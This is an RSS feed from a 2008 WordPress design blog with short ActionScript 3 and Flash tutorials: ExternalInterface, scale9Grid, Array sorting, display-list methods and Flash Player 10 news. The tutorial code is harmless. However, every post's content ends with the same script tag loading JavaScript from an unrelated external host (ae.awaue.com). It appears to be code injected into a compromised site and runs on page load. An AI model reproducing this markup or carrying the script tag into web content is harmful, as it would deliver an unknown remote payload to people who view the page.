<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>t-roy.net* &#187; Adobe Flash</title>
	<atom:link href="http://www.t-roy.net/category/adobe-flash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.t-roy.net</link>
	<description>blog by designer troy ginbey</description>
	<lastBuildDate>Sat, 13 Jun 2009 14:05:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Calling an ActionScript function from Flash</title>
		<link>http://www.t-roy.net/2008/07/16/calling-an-actionscript-function-from-flash/</link>
		<comments>http://www.t-roy.net/2008/07/16/calling-an-actionscript-function-from-flash/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 02:25:40 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[Adobe Flash]]></category>
		<category><![CDATA[General Rantings]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=23</guid>
		<description><![CDATA[This is pretty cool&#8230; being able to control your Flash movies from your HTML page through JavaScript.
To do this, you need to make use of Flash&#8217;s ExternalInterface (from Flash 8+)
Your flash code will look something like this:
import flash.external.ExternalInterface;
function stopVideoPlaying() {
  myVideo.stop();
}
ExternalInterface.addCallback("stopVideoPlaying", this, stopVideoPlaying);
The first line imports the External Interface. The next is three lines [...]]]></description>
			<content:encoded><![CDATA[<p>This is pretty cool&#8230; being able to control your Flash movies from your HTML page through JavaScript.</p>
<p>To do this, you need to make use of Flash&#8217;s ExternalInterface (from Flash 8+)</p>
<p>Your flash code will look something like this:</p>
<p><code>import flash.external.ExternalInterface;<br />
function stopVideoPlaying() {<br />
  myVideo.stop();<br />
}<br />
ExternalInterface.addCallback("stopVideoPlaying", this, stopVideoPlaying);</code></p>
<p>The first line imports the External Interface. The next is three lines is the function we want to call from our HTML page.</p>
<p>Finally, we add an addCallBack method, which, in order, defines the JavaScript function to listen for, the target, and the function to call when the callBack is received.</p>
<p>The JavaScript code will look like this:</p>
<p><code>window.onload = function() {<br />
  if(navigator.appName.indexOf("Microsoft") != -1) {<br />
    flash = window.swfVideo;<br />
  }else {<br />
    flash = window.document.swfVideo;<br />
  }<br />
}<br />
function stopFlashVideo() {<br />
  flash.stopVideoPlaying();<br />
}</code></p>
<p>Then, to call the Javascript method, just make sure your Flash is given an id name of swfVideo, then call the JavaScript function <strong>stopFlashVideo</strong>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/07/16/calling-an-actionscript-function-from-flash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>scale9Grid in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/#comments</comments>
		<pubDate>Sun, 25 May 2008 04:21:16 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=22</guid>
		<description><![CDATA[Wow&#8230; every so often you stumble upon something that you know will change the way you design forever. I was flicking through the ACP (Adobe Certified Professional) Exam Guide for Flash CS3 (as you do on a Sunday), and came across something I didn&#8217;t recognise &#8211; scale9Grid.
scale9Grid divides a display object into 9 regions, allowing [...]]]></description>
			<content:encoded><![CDATA[<p>Wow&#8230; every so often you stumble upon something that you know will change the way you design forever. I was flicking through the ACP (Adobe Certified Professional) Exam Guide for Flash CS3 (as you do on a Sunday), and came across something I didn&#8217;t recognise &#8211; scale9Grid.</p>
<p>scale9Grid divides a display object into 9 regions, allowing different rules to be applied to it when the object is scaled.</p>
<p>How is this useful?? Well.. think about designing a simple content area with rounded corners. You want the content area scale vertically as the amount of text it holds increases. With any normal object with rounded corners, as you scale it&#8217;s height, the corners would scale and distort the more it is verticaly scaled. Enter scale9Grid. With one line of code, you can define the regions of the rounded rectangle to allow for distortion free scaling&#8230; Here&#8217;s an example:</p>
<p><code>myRoundedRectangle.scale9Grid = new Rectangle(10,10,300,600);</code></p>
<p>The above code adds a scale9Grid to a rounded rectangle object &#8211; meaning when it is scaled, the rounded corners will stay the same&#8230;. Brilliant!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/25/scale9grid-in-as30/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Array Methods in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/22/array-methods-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/22/array-methods-in-as30/#comments</comments>
		<pubDate>Thu, 22 May 2008 02:30:15 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=18</guid>
		<description><![CDATA[I&#8217;ve been using Array for a while now &#8211; but don&#8217;t frequently use all of it&#8217;s methods&#8230; so I&#8217;m going to go through the ones I don&#8217;t use a lot&#8230;.
Array.sort();
var beers:Array = ["Fosters", "Alpha", "VB", "asahi"];
beers.sort(); // default sort
trace(beers); // output: Alpha,Fosters,VB,asahi
beers.sort(Array.CASEINSENSITIVE);
trace(beers); // output: Alpha,asahi,Fosters,VB
beers.sort(Array.DESCENDING);
trace(beers); // output: asahi,VB,Fosters,Alpha
beers.sort(Array.DESCENDING &#124; Array.CASEINSENSITIVE);
trace(beers); // output: VB,Fosters,asahi,Alpha

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using Array for a while now &#8211; but don&#8217;t frequently use all of it&#8217;s methods&#8230; so I&#8217;m going to go through the ones I don&#8217;t use a lot&#8230;.</p>
<p><strong>Array.sort();</strong></p>
<p><code>var beers:Array = ["Fosters", "Alpha", "VB", "asahi"];<br />
beers.sort(); // default sort<br />
trace(beers); // output: Alpha,Fosters,VB,asahi</p>
<p>beers.sort(Array.CASEINSENSITIVE);<br />
trace(beers); // output: Alpha,asahi,Fosters,VB</p>
<p>beers.sort(Array.DESCENDING);<br />
trace(beers); // output: asahi,VB,Fosters,Alpha</p>
<p>beers.sort(Array.DESCENDING | Array.CASEINSENSITIVE);<br />
trace(beers); // output: VB,Fosters,asahi,Alpha</code><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/22/array-methods-in-as30/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding &amp; removing display objects from the display list in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/#comments</comments>
		<pubDate>Wed, 21 May 2008 07:33:38 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=21</guid>
		<description><![CDATA[package {
	import flash.display.*;
	import flash.text.TextField;
	public class AS3Tester extends Sprite {
		public function AS3Tester() {
			var myTextContainer:TextField = new TextField();
			myTextContainer.text = "I like beer";
			this.addChild(myTextContainer);
		}
	}
}
In the above code, I create a variable to reference a new TextField object, and set it&#8217;s text to &#8220;I like beer&#8221;. This alone wont add the TextField to the stage. To do this I then [...]]]></description>
			<content:encoded><![CDATA[<p><code>package {<br />
	import flash.display.*;<br />
	import flash.text.TextField;</p>
<p>	public class AS3Tester extends Sprite {<br />
		public function AS3Tester() {<br />
			var myTextContainer:TextField = new TextField();<br />
			myTextContainer.text = "I like beer";<br />
			this.addChild(myTextContainer);<br />
		}<br />
	}<br />
}</code></p>
<p>In the above code, I create a variable to reference a new TextField object, and set it&#8217;s text to &#8220;I like beer&#8221;. This alone wont add the TextField to the stage. To do this I then need to use the addChild method to add it to the display list:</p>
<p><code>addChild(child:DisplayObject):DisplayObject </code></p>
<p>addChild is a method of DisplayObjectContainer. When a DisplayObjectContainer (a Sprite, a Loader or the Stage) calls the addChild method, it adds a child DisplayObject instance to that DisplayObjectContainer instance.</p>
<p>To remove an object from the display list is the reverse:<br />
<code>removeChild(child:DisplayObject):DisplayObject</code></p>
<p>So the code to remove the TexField above would be:<br />
<code>this.removeChild(myTextContainer);</code></p>
<p>If I wanted to add a display object instance to a specific DisplayObjectContainer instance, I use addChildAt:<br />
<code>addChildAt(child:DisplayObject, index:int):DisplayObject</code></p>
<p>Here&#8217;s an example of the code in use:</p>
<p><code>var myDisplayContainer:Sprite = new Sprite();</p>
<p>var myFirstSprite:Sprite = new Sprite();<br />
var mySecondSprite:Sprite = new Sprite();</p>
<p>myDisplayContainer.addChild(myFirstSprite);<br />
myDisplayContainer.addChildAt(mySecondSprite, 0);</p>
<p>this.addChild(myDisplayContainer);</code></p>
<p>The above code first creates a DisplayObjectContainer called <strong>myDisplayContainer</strong>, then adds a Sprite (<strong>myFirstSprite</strong>) to it. Then using <strong>addChildAt</strong>, a second sprite is added to myDisplayContainer <strong>at index 0</strong>, which is the back of the list &#8211; meaning it will be displayed <strong>underneath</strong> myFirstSprite.</p>
<p>The final line adds the <strong>myDisplayContainer</strong> to the stage.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/21/adding-display-objects-to-the-display-list-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Display List Programming in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/#comments</comments>
		<pubDate>Tue, 20 May 2008 01:43:12 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=20</guid>
		<description><![CDATA[Display List programming is a big part of ActionScript 3.0&#8230; Basically anything that is visually added to the stage must be added to Flash&#8217;s Display List hierarchy.
In the next few posts I&#8217;m going to go through a few core display programming tasks&#8230;

Adding display objects to the display list 
Removing objects from the display list
Moving objects [...]]]></description>
			<content:encoded><![CDATA[<p>Display List programming is a big part of ActionScript 3.0&#8230; Basically anything that is visually added to the stage must be added to Flash&#8217;s Display List hierarchy.</p>
<p>In the next few posts I&#8217;m going to go through a few core display programming tasks&#8230;</p>
<ul>
<li>Adding display objects to the display list </li>
<li>Removing objects from the display list</li>
<li>Moving objects among display containers </li>
<li>Moving objects in front of or behind other objects</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/20/display-list-programming-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking out the trash in AS3.0</title>
		<link>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/</link>
		<comments>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/#comments</comments>
		<pubDate>Mon, 19 May 2008 09:25:29 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[AS3.0 Fundamentals]]></category>
		<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=19</guid>
		<description><![CDATA[Garbage collection is a BIG deal in AS3 &#8211; Adobe have a couple of good articles articles which explains the theory&#8230;
http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html
http://www.adobe.com/devnet/flashplayer/articles/resource_management.html
]]></description>
			<content:encoded><![CDATA[<p>Garbage collection is a BIG deal in AS3 &#8211; Adobe have a couple of good articles articles which explains the theory&#8230;<br />
<a href="http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html">http://www.adobe.com/devnet/flashplayer/articles/garbage_collection.html</a><br />
<a href="http://www.adobe.com/devnet/flashplayer/articles/resource_management.html">http://www.adobe.com/devnet/flashplayer/articles/resource_management.html</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/19/taking-out-the-trash-in-as30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Flash Player 10: Astro</title>
		<link>http://www.t-roy.net/2008/05/18/adobe-flash-player-10-astro/</link>
		<comments>http://www.t-roy.net/2008/05/18/adobe-flash-player-10-astro/#comments</comments>
		<pubDate>Sun, 18 May 2008 02:50:00 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[Adobe Flash]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=14</guid>
		<description><![CDATA[Flash Player 10 is in beta &#8211; going by the name &#8220;Astro&#8221;. New features of the player include 3D Effects which allow you to use APIs to animate objects through 3d space, lightweight runtime Custom Filters &#038; Effects (which use the same technology as some After Effects CS3 filters),  a new advenced Text Layout [...]]]></description>
			<content:encoded><![CDATA[<p>Flash Player 10 is in beta &#8211; going by the name &#8220;Astro&#8221;. New features of the player include <strong>3D Effects</strong> which allow you to use APIs to animate objects through 3d space, lightweight runtime <strong>Custom Filters &#038; Effects</strong> (which use the same technology as some After Effects CS3 filters),  a new <strong>advenced Text Layout </strong>system which co-exists with TextField, an <strong>enhanced Drawing API</strong> with 3D APIs, shape drawing systems and re-stylable properties. Visual processing is also shifted more to the video card, which should allow smoother video.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2008/05/18/adobe-flash-player-10-astro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
   

